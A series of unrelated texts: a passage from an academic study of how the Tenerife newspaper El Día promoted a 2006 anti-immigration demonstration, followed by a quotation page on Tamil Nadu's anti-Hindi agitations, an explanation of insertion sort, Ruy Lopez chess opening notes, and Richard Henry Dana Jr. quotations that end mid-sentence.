immigration to avoid irrational xenophobic outbreaks’. Some of them bearing unambiguous titles such as: ‘Reasonable and Necessary Demonstration’ or ‘Everybody to today’s demonstration’. Table 1 summarizes the statistics of news stories that El Día devoted to immigration in the four weeks of October 2006: the total number of news articles dealing with immigration, the number of times that this issue was the main story, the times that it appeared on the front page as prominent or included in the sidebar, and the number of articles, editorials and letters from the readers on this issue. There is no doubt that the flow of news stories devoted to the demonstration is an unquestionable sign of the newspaper’s interest. Suffice it to say that readers were repeatedly informed about the reasons and the route of the demonstration 14 times, without counting four large advertisements. But the amount of information is as important as the timing of publishing it. The reconstruction of this chronology lets us state that the reporting work complied with a perfectly planned dosing strategy, intended to create a shift in public opinion in favour of the Residence Act advocated by the conveners of the demonstration. The first indirect reference to the demonstration appeared in El Día on Sunday 1 October on the front page sidebar below the headline ‘Concave [Confederation of Residents’ Associations] supports the Residence Act to stop immigration’, followed by this lead: ‘During the last debate held in El Día, the Concave and the group Identidad Canaria [Canarian Identity] bet on a Residence Act considering the acculturation process of the islands’. The inside pages (42 and 43) collected the opinions given by some neighbourhood leaders who had been invited to debate by El Día in the first issue of the section ‘Debates de actualidad’ [Current Debates] devoted to this subject. Contrary to the impression given by the headline, three of the five participants ‘recognized the benefits generated by immigration’. Their opinions were tolerant and inclusive but strategically omitted in the headline in the interest of the stands taken by the members of Concave and Identidad Canaria, who were the only ones to talk about the necessity of population control. During the debate, Mateo López, Head of Identidad Canaria, announced that ‘a demonstration in favour of the Residence Act has been organized to be held at the end of October’ (p. 43) making use of an impersonal and cryptic construction That Sunday’s issue offered several texts that helped to reach critical mass around the binomial immigrationoverpopulation. The front page sidebar also included: ‘The population of La Gallega [2] (Santa Cruz) will increase by five in two years’. On page 6, an interview to the Head of Ashotel [Hotels and Accommodation Association of Tenerife], with the title: ‘Stop illegal immigration’ in one of the copy blocks. The section ‘Los mojos de la última’ [section on the cover page] started with the sentence: ‘The people of Tenerife are worried about the avalanche of illegal immigrants arriving by open boats and the increase of the population of the islands’; thereby, linking population growth and arrivals of immigrants from Sub-Saharan Africa. The opinion pages also contained many references to immigration, starting with the editorial: ‘Embarrassment with Immigration’ (p.3). Page 4 reproduces another editorial that had already been published: ‘Supportive but not Naïve’. And the following articles: ‘Immigration can not be used as an electoral weapon’ (p.10) and ‘Unsustainable illegal immigration’ (p.19); and the column ‘Charlatans’ about the ‘dramatic phenomenon of immigration’. Also, on page 18, a letter with the title ‘Tourism and Immigration’ exhorted the people of Tenerife to react to the damage that the arrival of open boats to our beaches was inflicting to the tourist image of the Islands. We found the following allusion to the demonstration in the issue published on Friday 6: a half column-length text with the title ‘Neighbourhood Demonstration on 29th in favour of Population Control’ (p.4). This headline is really surprising, as it does not clarify who or what organizations were promoting the demonstration. In the body copy, the Head of Identidad Canaria repeated the same impersonal expression used on 29 October: ‘Yesterday Mateo López stated that a neighbourhood demonstration has been organized in Santa Cruz in favour of population control’, transferring to the readers the idea that the demonstration was self- organized. On the same day the newspaper opened with this five column headline: ‘Another 20 immigrants die at sea’, followed by twelve stories about minor immigrants (p. 3), court costs generated by immigration (p. 4), escapes from immigration detention centres (p .6), and the objection of Coalición Canaria [Canarian Coalition, centre-right nationalist party] against the increase of those centres in the archipelago (p. 70). It also included an editorial (p. 7) in which the newspaper proclaimed its determination to fight against ‘this disorganized and bizarre phenomenon of illegal immigration’. On the following days –Sunday 8, Tuesday 10, Wednesday 11– the newspaper would publish more editorials. On Thursday 12, a group of professors of the two universities of the Canary Islands made known the document ‘Reflections on Current African Immigration by Open Boat’, warning of the responsibility of politicians and media for the spreading of xenophobic attitudes. El Día reported the presentation of the manifesto but tried to counteract it with the editorial ‘To the readers of Tenerife and the Canary Islands’ (p. 7), attacking multicultural coexistence: We will continue fighting for our children and will not make the mistake of devoting our efforts and money to care for others’ children: multiculturalism is fair but when it really occurs, not when massive arrivals of foreign people compromise the perdurance of our native customs, our very existence and way of living, that is to say, our historical identity. On Sunday 15, the extreme right organization Democracia Nacional planned a mass meeting in Los Cristianos (Tenerife) under the slogan ‘Not to invasion, against overcrowding of illegal immigrants in the Canaries’. While some rival newspapers published the information (especially La Opinión), El Día opted for minimizing the references to this undoubtfully racist event that was provoking critical comments for its xenophobic connotations and held just two weeks before the demonstration organized in Santa Cruz. On Tuesday 17, on page 4, El Día published the full decalogue of reasons given by Identidad Canaria and the Concave to justify the march on the 29th. The other newspapers did not echo it. El Día continues its privileged relationship with the conveners. Two days later, on Thursday 19, the newspaper placed an editorial with this unambiguous headline: ‘Reasonable and Necessary Demonstration’ (p. 7). The body copy is a glossary of common words in discriminating and criminalizing discourses against immigrants: “tide”, “flow”, “irregular”, “unemployment”, “overpopulation”, “violence”, and other similar expressions appeared throughout the text. The aims of the march- the writer of the editorial stated- collect the ‘opinion of the majority’ To stop the human tide reaching the islands by plane or boat everyday, those who settle among us illegally and worsen our limited territory, high unemployment and population density. Furthermore, if we do not stop the flow, the risk of violent reactions of native people against illegal immigrants will increase. On Saturday 21, El Día comes back to illegal immigration with the editorial ‘Growing Anger against Irregular Immigration’ (p. 7), predicting a civil protest about this situation: The problem of illegal immigration in the Canary Islands has reached the point of unleashing popular indignation in demonstrations against the lack of solutions and the carelessness of the central Government. [The successive governments] that have let the snowball grow and turn into a real invasion of the archipelago... It is evident that people are tired of what is happening. On the following day, Sunday 22, the journal published this editorial on page 3: ‘Yes to Sunday’s March’. The call to the citizens is accompanied by nine news stories on immigration, three op-eds on the same issue, and the third part of ‘Current Debates’ that the paper had devoted to the immigratory phenomenon. Even though on the first occasion (1/10, p.42-43) the headline of the debate had been ‘Immigration from Neighbours’ View’ and on the second occasion (15/10, p.6-7) it was neutral ‘Reflections on Immigration’, the third one (22/10, p.4-5) raised the tunefork and stated ‘What do citizens think of foreign invasion?’. All the participants declared themselves in favour of a Residence Act. A few days before the demonstration, the initiative had had such major impact that politicians had to declare themselves on the call. On Monday 23, the coalition of minor parties at Santa Cruz City Council unsuccessfully proposed a motion to keep immigration out of election campaigns. During the debate, the PSOE [Spanish Socialist Workers’ Party] claimed that the conveners of the march –in reference to the Head of Concave and the Head of Identidad Canaria– were paid a salary from the town council as advisors of Mayor Miguel Zerolo (member of Coalición Canaria.). [3] On Tuesday 24 we could read in the newspaper the statements issued by Paulino Rivero –President of Coalición Canaria at that time–. He agreed with the ideological principles of the demonstration, although he considered that it was not the “right moment” for it. (El Día, 24/10, p.21). Being asked about the relationship between the conveners and his party, he said he was unaware of ‘any sort of connections’ (La Opinión, 24/10, p.14). In spite of the denial, the support given by Coalición Canaria to the protest march was unquestionable for some newspapers: ‘Partido Popular and Coalición Canaria encourage racist protest in Tenerife’ (La Provincia, 26/10, p.22) and ‘The attitude of Coalición Canaria towards immigration inspires the demonstration’ (Canarias 7, 29/10, p.34). The denial of any xenophobic element, the (apparent) concession that ‘the other’ also has inherent values and the positive self presentation of the endogroup as tolerant and hospitable, are some of the features that characterize the racist discourse of the elite and the media. ‘Therefore –Van Dijk states (2003a: 254 et seq)– when a newspaper says something negative about a minority, may also emphasize at the same time, that it has nothing against those people’. The editorial of El Día appeared on Tuesday 24 (‘Not to racism and xenophobia, yes to the demonstration’, p. 5) proved to be a good example of these discursive strategies. Firstly, the plea for traditional hospitality: ‘Tenerife has always been a welcoming land with foreigners who visit us’. Secondly, a condescending recognition of the others' human condition: ‘We do not mind the colour of Africans, no matter how dark it is. We trust human intelligence and feelings of those creatures whom, like us, God has put on Earth’. And finally, the rejection against the accusation of racism, expressed in a concessive way: ‘By this we mean that we have never justified or will ever justify racism or xenophobia, but the situation requires solutions, those that the conveners of next Sunday’s demonstration request’. Somewhat worried about the accusations of xenophobia that were starting to spread, the conveners of the event took advantage of the open door policy of El Día (24/10, p.31) to stop critics with a pseudo piece of news: ‘Concave remarks that the demonstration on the 29th is not against immigrants’. On October 25 the controversy arrives to the Parliament. In the session, the socialist spokeman asked the President of the Government, Adán Martín, member of Coalición Canaria, to reprove the march: a newspaper and two advisors of Santa Cruz City Council at the head of two organizations without any known public activity have succeeded in imposing the agenda of the highest representative institution of the islands. Despite the request, Martín does not accept to reprove the march (El Día, 26/10, p.3). In the parliamentary session next day, the socialist group proposed to sign an agreement against xenophobia and racism, but Coalición Canaria and Partido Popular [People’s Party, the main centre-right party in Spain] rejected it. On the same day 25, El Día uses an interview with a Canarian migrant in Venezuela, back to the islands after 52 years’ absence, to criticize immigration. Headline of the interview: ‘We went to Venezuela to work, why do immigrants come to the islands?’. In addition to a timely report on education (‘Tenerife is the island with the highest number of school registrations of foreign students’, p.31), the section ‘Los mojos de la última’, on the cover page, includes a short text with the title ‘They want to break the demonstration’ where we can read: ‘We have received anonymous information warning ... that some would try to boycott from within the march. How? Taking out banners with racist and xenophobic messages at a given moment’. A day after the Parliament rejected the agreement against xenophobia, the PSOE at the Island Council of Tenerife managed to pass a motion urging people ‘not to participate in actions involving xenophobic attitudes, rejection or aggression against immigrants’. On Thursday 26 the Island Council of Gran Canaria endorsed a similar motion: the islands councils also had to submit to the agenda setting devised by a newspaper. There were some that immediately took advantage of the controversy, especially Centro Canario Nacionalista (another centre-right nationalist party) that started to gather signatures to promote a Residence Act at the Regional Parliament to stop the arrivals of foreigners. In order to support this initiative, the party handed out leaflets blaming immigrants for the economic suffocation of town councils, saturation of courts and hospitals, disease transmission, ruining tourism and undermining local identity. A revealing coincidence: the photograph of the open boat accompanying the execrable libel was the same that had appeared on posters for the October 15 Democracia Nacional mass meeting in Los Cristianos. In the issue of Thursday 26, El Día published the editorial: ‘Less politicking and more commending work’, which reiterates the call for the demonstration: ‘We must take to the streets to keep on being local, Canarian, Spanish and European people... Not to racism, not to xenophobia. Yes to Sunday’s march. Defend Tenerife, defend the Canary Islands’. The editorial appeared next to a column, signed by the President of Partido Nacionalista Canario, in which he states that the disproportionate population growth suffered in the islands hides a sort of ‘neocolonialism’ that ‘aims to depersonalize and blur native people’ (p.33) That day, the newspaper also included an advertisement of the demonstration that occupied two thirds of page 33. [4] The campaign of El Día in support of the demonstration continues. On Friday 27, the headline of the front cover story is: ‘Concave relies on massive attendance’ and the subheading: ‘Conveners for Residence Act expect people coming from all the islands’. On page 34, the journal publishes the article ‘The Future Residence Act’, signed by Antonio Cubillo, founder of the separatist organization MPAIAC. That day’s edition is completed with a letter to the editor -‘The Canary Islands Lose Face’ (p.8)- supporting the protest, and inserting for the second time the advertisement of Concave and Identidad Canaria calling for the demonstration (p.15). Just 24 hours before the march, El Día mobilized all its power of influence. Making an attempt to deactivate accusations of xenophobia, the headline stated: ‘Six associations of immigrants will attend the demonstration’ on the front page, but none of them is identified throughout the text. [5] Apart from an interview with the leader of Centro Canario Nacionalista, who expresses his support to the march, the stories about immigration include the column ‘Day 29’ (p.9), three letters to the editor on page 10; the article “ Canarias, parada y fonda’ [archaic expression used to describe a place where people stop to drink and eat and follow their way]; the op-ed ‘Fools’ Solidarity’, signed by one of the leaders of Centro Canario Nacionalista, and a short note in which the conveners predict the success of the demonstration (p.31). The list of persuasive texts of this edition is completed with a pressing editorial: ‘Save the Canary Islands’ (p. 31) that accuses socialists of being against the protest looking for migrant votes in future local elections. ‘However- the text concludes- with or without votes, they will throw us out of our houses in the end as it says the Canarian proverb: someone will come from the street that will throw you out of your house. Well, they are here’. In addition, they insert, for the third time, an advertisement calling for the demonstration (p.25), and a new interview with the Head of Identidad Canaria, Mateo López, with the headline: ‘PSOE plays unfairly when stating that the demonstration is racist’ (p.32). Despite efforts made by the conveners, the rejection to the march made its way: On Saturday 28 La Provincia, a newspaper published in Gran Canaria, entitles on front page: ‘Some 50 civil associations raise their voices in view of official silence. Associations accuse Partido Popular and Coalición Canaria of encouraging rejection to immigrants’. The trade unions UGT and CCOO, the NGOs Cáritas, Médicos del Mundo, the Spanish Commission for Refugee Aid and immigrant groups were among these associations, all of them members of the Foro Canario de la Inmigración. As it was correctly commented in La Provincia on 26 October, the sixth point of the Decalogue for Integrating and Non- Xenophobic Information promoted by the Foro states that: ‘It is necessary to adopt a belligerent position against racist and/or xenophobic attitudes. We must specially watch out demonstrations of radical and intolerant groups, without neglecting diffuse racism in other positions of the political sphere’. Incoherent with its own decalogue, the Foro Canario de la Inmigración was unable to shake off official tutelage in order to criticize the demonstration and eventually split into pieces. Even on the same day of the demonstration, El Día made a final effort to mobilize undecided people. With a surprising display of expeditious information, the main headline of this issue offered –avant la letre– a news story that had not happened yet: ‘Neighbours took to the streets for population control’. On page 6 there was an interview with another leader of Centro Canario Nacionalista below the headline ‘Fernández Del Torco insists on saying that the Residence Act would not be unconstitutional’, in which the politician supports the demonstration; and an ambiguous “Open Letter from Partido Popular of Tenerife”, signed by its President Cristina Tavío, who states that ‘there are reasons to attend the demonstration’. In addition, on the day of the demonstration, the newspaper publishes an opinion column that reiterates the need for a Residence Act (‘The Canary Islands with borders’, p. 7) and the fourth part of ‘Debates de Actualidad’. Again, ‘What do citizens think of foreign invasion?’ asks the five column headline (p.4). The answer is, at least, amphibological, and it is answered by the newspaper: ‘It is necessary to enclose the archipelago’. Nevertheless, it is really surprising that, once again, the answer does not fit with the opinion of the people attending the debate: ‘El Fraile –says the president of the residents’ association of this suburb of Arona municipality– is setting a good example of solidarity and coexistence. There are more than 100 different nationalities mixed among 15,000 inhabitants and nothing serious has ever happened there...’. Moisés Pérez, a resident of Arona, says that the coexistence among the 150 nationalities of the municipality ‘is exemplary.’ However, none of these opinions were in the headlines or summary decks. [6] For the fourth consecutive day the same advertisement of the demonstration and the last editorial call to the population, ‘Everybody to the demonstration today’ (p3), which literally repeats the editorial on Tuesday 24, again making references to ‘invasion’, ‘flood’ that ‘overflows’ the Islands, uncontrolled ‘avalanches’ and ‘massive’ arrivals. There is such perfect understanding between the newspaper and the official conveners of the march that the reasons given by the journal are the same, word by word, as those used by Concave. The hand that rocks the call from the newspaper and from the associations is the same. The controversy and the division generated by the call reached such a point that the moderate newspaper Diario de Avisos, published in Tenerife, felt obliged to call for calmness in the editorial ‘We must take care of coexistence’, appeared on Sunday 29 (p.3). The newspaper considered its duty To warn about the risks of certain biased calls that only contribute to accentuate the frustration of weakest social groups that might feel harmed by the strong migratory pressure that the archipelago is suffering. The irony or hypocrisy of this story is that, far from analysing the causes or processes or looking for real solutions beyond the false lure of a Residence Act, it only feeds the conflict between social groups. Just a week before, on October 22, the same newspaper had already published the editorial ‘Incoherent Demonstration’, which harshly criticized the reasons of the conveners and the opportunity of the call: It is true that the frequent arrivals of open boats to the coast of the Canary Islands, full of Sub-Saharian immigrants, is a matter of national concern that demands suitable actions, taking into consideration current serious circumstances. But we can not mix this necessity with the simplicity of certain analysis determined to clearly convey conflict rather than discussion. This can be applied to the demonstration called by the group Identidad Canaria -unknown to date- and some residents’ associations ... There are precious materials that must not be handled in excess, coexistence is one of them. Conveners state that the demonstrations will not be racist or xenophobic, and we will not be prejudiced and charge on those who will be attending it next Sunday, but we affirm that this is the worst option, based on opportunist rather than appropriate arguments, full of conflicting ideas, –at least those regarding to the pressure of immigration on the Islands–, very flimsy and hypocritical. Finally, the demonstration was held as was to be expected on Sunday 29 Except for El Día, all the journals of the islands pointed out the poor attendance: Canarias 7, on front page: ‘Low commitment to the xenophobic march. Fewer than 2,000 people attend it’. La Provincia entitled: ‘About 3,000 people attend march against immigrants in Tenerife’, while ‘Several thousand demonstrators ask for residence act’ was the headline chosen by Diario de Avisos. Unlike other newspapers that focused on the number of attenders, El Día preferred a poetic headline: ‘Feeling the Canary Islands’ and numbers pushed into the subheadline: ‘About 15,000 people, according to the conveners, marched in Santa Cruz to ask for Residence Act and defend the Islands’. Surprisingly, the newspaper accepted the figures provided by the conveners without contrasting them with the police information or its own estimate, against usual informative guideline. Surprisingly, the report on the demonstration was not signed and was away from the minimum standards of objectivity. Unusual explanations tried to justify the failure of the demonstration: ‘We are certain that lots of citizens did not attend the march due to the threats and insults hurlied by interested groups during the previous days’. The writer also stepped into the shoes of a mass psychologist: ‘In fact, phone calls made to our editorial department by some neighbours reveal that they felt awkward with the possibility of being considered as racist people’. The outrageous closing paragraph of the article combined both pretended editorializing and picturesque reports about popular festivities: Azul Televisión, television division of El Día, offered images of the demonstration from different places throughout the day, so revealing the importance of the march, the overflowing feeling of Canarian identity and the indignation against national parties for their negligent attitude towards the archipelago, what has led the islands to this unsustainable population growth. It seems remarkable that we had to wait until Tuesday 31 to read the editorial of El Día assessing the event, already known the opinion of the other newspapers and the political and civic reaction. The editorial ‘Canarian Feelings’ insisted on the idea that ‘the people who took to the streets love their native land... ordinary, decent, serious people who love their islands and protested against the governing parties in Madrid, responsible for the loss of our identity’. When talking about the number of protesters, the unconscious betrays the writer (excusation non petita...), who, once again, takes up outlandish ideas to justify lower attendance than expected: ‘El Día did not lie on his front page yesterday. Canarian feeling overwhelmed Santa Cruz de Tenerife though conveners were threatened days earlier, what influenced on the attendance, as well as showers... we are accused of racism and xenophobia just because we love Tenerife, our islands, our people. People who pay their taxes to have their basic needs, public health and education covered, and who want to preserve their identity’. The review of the news stories that the journal devoted to the demonstration during some weeks before the demonstration reveals the long-run outline of the campaign used to infect public opinion with the perception of being living an emergency situation. The analysis of the circumstances surrounding the demonstration causes mixed feelings. On the one hand, one is shocked by the restrained informative dosage developed by a single newspaper, with privileged position in the media ecosystem of the archipelago, and able to promote an initiative, presented as a spontaneous popular protest that forced main institutions of the archipelago (Parliament, regional government, island councils, Santa Cruz City Council, etc.) to take sides and marked time to political organizations. The closeness to elections made political parties behave cautiously but ambiguously, opinions expressed in one island (Gran Canaria) did not fit with the ones expressed in the other island (Tenerife). Unfortunately, the social, political and media conflict left a collateral victim, the Foro Canario de la Inmigración, whose lack of independence and internal division have irreparably harmed the credibility of such an important institution. On the other hand, it is comforting to see that a majority of the population of Tenerife was able to counteract the criminalization of immigrants, defying the power of a newspaper that condemned dissenters to silence. Despite money and propaganda, the support of the population to the demonstration was, fortunately, unimportant. The best proof for this is that those ideologues of the march have desisted from making another attempt so far. We can conclude that El Día, indeed, managed to impose a demonstration in favour of a Residence Act and immigration control in the public agenda, but failed in making citizens to support its opinions, in spite of the great amount of news stories about irregular immigration and the call for the demonstration. All things considered, what happened confirms the well-known thesis by B. C. Cohen (1963: 13): media tell us what we must think about but fortunately they cannot tell us what we must think. Rodríguez Borges, Rodrigo F.: "Xenophobic discourse and agenda-setting. A case study in the press of the Canary Islands (Spain)", at Revista Latina de Comunicación Social, 65, pages 222 to 230. La Laguna (Tenerife, Canary Islands): La Laguna University, retrieved on the 13th of November of 2012, from http://www.revistalatinacs.org/10/art2/895_ULL/17_RodrigoEN.html DOI: 10.4185/RLCS-65-2010-895-222-230-EN� Ardévol, A. (2008): "La inmigración en la fotografía de prensa de Canarias". Revista Latina de Comunicación Social, 63, pp. 409-417, available at: http://www.revistalatinacs.org/08/34_791_54_fotoperiodismo/Alberto_Ardevol.html. Retrieved: 1 September 2009. Bañón, A. (1997): “El discurso racista de la prensa y la manipulación de los testimonios orales”. Mugak, 2, available at: http://revista.mugak.eu/articulos/show/15. Retrieved: 5 March 2009. Bardin, L. (1986): El análisis de contenido. Madrid: Akal. Bourdieu, P. (1985): ¿Qué significa hablar? Economía de los intercambios lingüísticos. Madrid: Akal. Cohen, B. (1963): The Press and Foreign Policy. Princeton, New York: Princeton University Press. Cohen, S. y Young, J. (comps.) (1981): The manufacture of news. Deviance, social problems and the mass media. London: Constable. Dallanhol, H. (2000): “Propuesta de cobertura periodística sobre la inmigración ilegal”. Revista Latina de Comunicación Social, 33, available at: http://www.revistalatinacs.org/aa2000kjl/x33se/62helo.htm. Retrieved: 1 June 2009. Igartua, J. J., Muñiz, C. y Cheng, L. (2005): “La inmigración en la prensa española. Aportaciones empíricas y metodológicas desde la teoría del encuadre noticioso”. Migraciones, 17, pp. 143-181. Igartua, J. J., Muñiz, C. y Otero, J. A. (2006): “El tratamiento informativo de la inmigración en la prensa y la televisión española. Una aproximación empírica desde la Teoría del Framing”. Global Media Journal, vol. 3 (5), available at: http://gmje.mty.itesm.mx/igartua_muniz_otero.htm. Retrieved: 10 March 2009. Krippendorff, K. (1990): Metodología de análisis de contenido. Barcelona: Paidós. López-Escobar, E., McCombs, M., y Rey, F. (1996): “La imagen de los candidatos: el segundo nivel de la agendasetting”. Comunicación y Sociedad, vol. IX (1 & 2), pp. 39-65. Luhmann, N. (2000): La realidad de los medios de masas. Barcelona: Anthropos. McCombs (2006): Estableciendo la agenda. El impacto de los medios en la opinión pública y en el conocimiento. Barcelona: Paidós. McCombs, M. y Shaw, D. (1972): “The agenda-setting function of mass media”. Public Opinion Quarterly, vol. 36 (2), pp. 176-187. Nash, M. (2005): Inmigrantes en nuestro espejo. Barcelona: Icaria. Rodríguez Borges, R. F. (2006): “Inmigración, comunicación y convivencia multicultural”. Revista de Filosofía Laguna, vol. 18, pp. 125-140. --- (2009): “Inmigración, medios de comunicación y ética periodística”, in Collective work: Límites y fronteras. La Laguna: Universidad de La Laguna, pp. 734-741. Shaw D. y MCCombs, M. (1976): The emergence of american political issues. The agenda-setting function of the press. St. Paul, MN: West Publishing House. Tankard, J. (2001): “The Empirical Aprouch to the Study of Media Framing”, in Reese, S. et al. (eds. ): Framing Public Life. New Jersey: Lawrence Erlbaum Associates. Van Dijk, T. (1997): Racismo y análisis crítico de los medios. Barcelona: Paidós. --- (2003a): Racismo y discurso de las élites. Barcelona: Gedisa. --- (2003b): Dominación étnica y racismo discursivo en España y América Latina. Barcelona: Gedisa. --- (2008): “Reproducir el racismo: el rol de la prensa”, in Checa y Olmos, F. (ed. ): La inmigración sale a la calle. Comunicación y discursos políticos sobre el fenómeno migratorio. Barcelona: Icaria. Winter, J. y Eyal, C. (1981): “Agenda-setting for a civil rights issue”. Public Opinión Quarterly, 45, pp. 376-383. [1] The text of the formal complaint is available at: http://media.epi.es/www.la-provincia.com/media/documentos/2008- 08-24_DOC_2008-04-24_22_08_27_denuncia_racismo_ben_magec.pdf. Retrieved: 21 October 2009. [2] A dormitory suburb of the capital city of Tenerife. [3] Izquierdo figured as an advisor to the Culture councillorship, whereas López was the advisor to the Mayor. [4] The demonstration was not advertised in any other newspaper of the Canary Islands. [5] On the contrary, the Coordinating Committee of Immigrants denied the statements of the newspaper in a press release. [6] See Bañón (1997) on the manipulation of oral statements in the press.
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The Anti-Hindi agitations of Tamil Nadu were a series of agitations that happened in the Indian state of Tamil Nadu (formerly Madras State and part of Madras Presidency) during both pre- and post-Independence periods. The agitations involved several mass protests, riots, student and political movements in Tamil Nadu concerning the official status of Hindi in the state. Sponsored by the British colonial government, a movement of the middle castes in the southern Tamil region started attacking Brahmin and North-Indian interests and symbols, taking the shape of a political party, the Justice Party (later Dravida Kazhagam) in 1916. Given the Brahmin leadership in the independence movement, Dravidian self-assertion had obvious uses for the colonial status-quo.... The movement's greatest success was when, in 1965, it joined hands with the English-speaking elite in Delhi to thwart the Constitutional provision that from that year onwards, Hindi rather than English be the sole link language of India, -- surely a fitting thanksgiving for the British patronage which had groomed the movement into political viability. We disliked the English language in the past. I disliked it because I was forced to learn Shakespeare and Milton, for which I had no taste at all. If we are going to be compelled to learn Hindi, I would perhaps not be able to learn it because of my age, and perhaps I would not be willing to do it because of the amount of constraint you put on me. This kind of intolerance makes us fear that the strong Centre which we need, a strong Centre which is necessary will also mean the enslavement of people who do not speak the language at the centre. I would, Sir, convey a warning on behalf of people of the South for the reason that there are already elements in South India who want separation..., and my honourable friends in U.P. do not help us in any way by flogging their idea of "Hindi Imperialism" to the maximum extent possible. So, it is up to my friends in Uttar Pradesh to have a whole India; it is up to them to have a Hindi-India. The choice is theirs. T.T. Krishnamachari. Constitution Assembly Debates-Official Report (New Delhi: Lok Sabha Secretariat, 1988), Volume 7, p235 [The anti-Hindi imposition agitations knit] together diverse, even incompatible, social and political interests... Their common cause against Hindi had thrown together religious revivalists like Maraimalai Atikal (1876–1950) with avowed atheists like Ramasami and Bharathidasan (1891–1964); men who supported the Indian cause like T.V. Kalyanasundaram (1883–1953) and M. P. Sivagnanam with those who wanted to secede from India like Annadurai and M. Karunanidhi (b. 1924); university professors like Somasundara Bharati (1879–1959) and M.S. Purnalingam Pillai (1866 -1947) with uneducated street poets, populist pamphleteers and college students. [48][117] Ramaswamy, Sumathy (1999). "The demoness, the maid, the whore, and the good mother: contesting the national language in India". International Journal of the Sociology of Language. Walter de Gruyter. 140 (1): 1–28. doi:10.1515/ijsl.1999.140.1. Wikipedia has an article about: Anti-Hindi agitations of Tamil Nadu
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InsertionSort is a „natural“ sorting algorithm. In the simplest form it works with an input list and an already sorted list. If the sorted list is empty, the first record of the input list is moved to the sorted list. Then record after record is taken and its appropriate position in the sorted list is searched; all records behind this position are moved up by one position and the record is inserted, hence the name. There are three main ways to find the appropriate position (we assume that the input records are read in original order): Start to End Starting with the first record, the key of the actual record is compared record by record with those of the sorted list; if a matching or bigger key is found, the insertion position is just in front of this element. The sorting is not stable, since sequences of identical key values are inverted. End to Start Starting with the last record, the key of the actual record is compared record by record with the keys in the sorted list; if a matching or smaller key is found, the insertion position is just behind this element. The sorting is stable, since the order of records with identical keys is the same as in the input array. Binary Search When searching in a sorted list, binary search is said to be the fastest solution to find a matching record or a position next to a matching key, if it existed. Normally InsertionSort with binary search is not stable. This can be changed by help of a little addition: if the key at the insertion position matches with the key of the input record, the last record with identical key is identified and the insertion position is just behind this element. In order to make an estimate about the timing we asume to have n records in the sorted list and we are going to add one. If the input data are evenly distibuted, in average we will have CO ≈ 1⁄2 n compare operations in order to find the correct position. Then we will have RM ≈ 1⁄2 n record moves in order to get the correct position cleared for inserting the actual record. The time for this can be estimated with Tn+1 = n * (CO + RM) = n * F where F, CO and RM are constants. Since we allready did n insertions, we can estimate the total time for sorting a list as Ttot = n * Tn+1 = n2 * F The charactristic of InsertionSort is quadratic. When comparing InsertionSort with other algorithms one should take into account that copying or moving records can be a very expensive operation. When using binary search instead of linear search for finding the appropriate position, the sorting speed is in maximum doubled what is near to nothing when working with an algorithm with a quadratic characteristic. For a short demonstration we start with this input list and the empty output list: When starting a sort, the first record can be moved directly to the output list When now looking for the correct new position of the second record with the key value 310, this position is found directly in front of the first element of the sorted list. The key value 529 is bigger than any of the sorted list, so this record goes to the last place. The key value 174 is smaller than any of the sorted list, so this record goes to the first place. The principle should be clear by now, so we stop the demonstration. But we can already see a very interesting effect: The sorted list has the same length as the part of the input list, which has already been processed. Therefore it is not necessary to have distinct input and output lists. If they are combined, InsertionSort turns out to be "in place".
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The position in the Ruy Lopez after 9. h3 is one of the most strategically interesting in the whole of opening theory. Black's reasonable options at this point run to double figures, which for a position nine moves into the game is almost unique. 9...Na5 is the old main line, the Chigorin Variation. Black hunts down Whites light-squared bishop and frees her c-pawn. The knight may end up back on c6, on c5 via b7, or on c4, depending on developments elsewhere. 9...Nb8, the Breyer Variation, is the other traditional move. With White taking her time developing her queenside, Black reckons she can spare two moves to redeploy the knight on d7 out of the way of the bishop which will appear on b7. It is a little more committal than the Chigorin and appeals to defensive-minded players. 9...Bb7, the Zaitsev, is the current red-hot theoretical battleground. The bishop eyes up the e4 pawn and the knight reserves its options. 9...h6 is the Smyslov Variation. The Zaitsev is considered an improvement on the Smyslov; in the Smyslov the bishop will usually go to b7, but in the Zaitsev Black can usually manage without ...h6. 9...Nd7 on the plus side enables an f5 advance and controls g5, and on the minus side clogs up the queenside and removes a defender from the king. 9...Be6 is another way to challenge the b3-bishop, usually leading to an exchange of bishops and a boring position in which White has a little more activity. 9...Re8 will transpose to the Zaitsev unless both players are desperate for a draw by repetition. 9...a5 is a quirky attempt to force matters on the queenside. White will probably meet it with a central charge. 9...Bd7 and 9...Qd7 are both at least semi-useful, and even 9...d5 doesn't lose on the spot - although players interested in getting their d-pawn to d5 should look at the Marshall Gambit on move 7.
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Richard Henry Dana, Jr. (August 1, 1815 – January 6, 1882) was an American lawyer and politician best known for his classic book Two Years Before the Mast. Thou little bird, thou dweller by the sea, Why takest thou its melancholy voice, And with that boding cry Why o'er the waves dost fly? O, rather, bird, with me Through the fair land rejoice! The Little Beach-Bird Tuesday, January 13, 1835: We made the land at Point Conception... the point of Santa Barbara, to which we were bound, lying about fifty miles to the southeast of this point, we continued sailing down the coast during the day and the following night, and on the next morning. On the whole coast of California there was not a lighthouse, a beacon, or a buoy, and the charts were made up from old and disconnected surveys by British, Russian, and Mexican voyagers. Birds of prey and passage swooped and dived about us, wild beasts ranged through the oak groves... herds of deer came to the water's edge. January, 14th, 1835: We came to anchor in the spacious bay of Santa Barbara. There was only one vessel in the port. Beside the vessel, there was no object to break the surface of the bay... directly opposite the anchoring ground, lie the mission and town of Santa Barbara, on a low plain, but little above the level of the sea, covered with grass, though entirely without trees, and surrounded on three sides by an amphitheater of mountains, which slant off to the distance of fifteen or twenty miles. The mission stands a little back of the town, and is a large building, or rather a collection of buildings, in the center of which is a high tower, with a belfry of five bells. The whole, being plastered, makes quite a show at a distance, and is the mark by which vessels come to anchor. The town lies a little nearer to the beach — about half a mile from it — and is composed of one-story houses built of sun-baked clay, or adobe, some of them whitewashed, with red tiles on the roof. I should judge that there was about a hundred of them... The town is finely situated, with a bay in front, and an amphitheater of hills behind. I shall never forget the impression which our first landing on the beach of California make upon me. The sun had just gone down; it was getting dusky; the damp night wind was beginning to blow, and the heavy swell of the Pacific was setting in, and breaking in loud and high "combers" on the beach... we put our oars in the boat, and, leaving one to watch it, walked about the beach to see what we could of the place. The beach is nearly a mile in length between the two points, and of smooth sand... It was growing dark, so that we could just distinguish the dim outlines of the two vessels in the offing; and the great seas were rolling in in regular lines, growing larger and larger as they approached the shore, and hanging over the beach upon which they were to break, when their tops would curl over and turn white with foam, and, being at one extreme of the line, break rapidly to the other, as a child's long card house falls when a card is knocked down at one end. If the women but have little virtue, the jealousy of their husbands is extreme, and their revenge deadly and almost 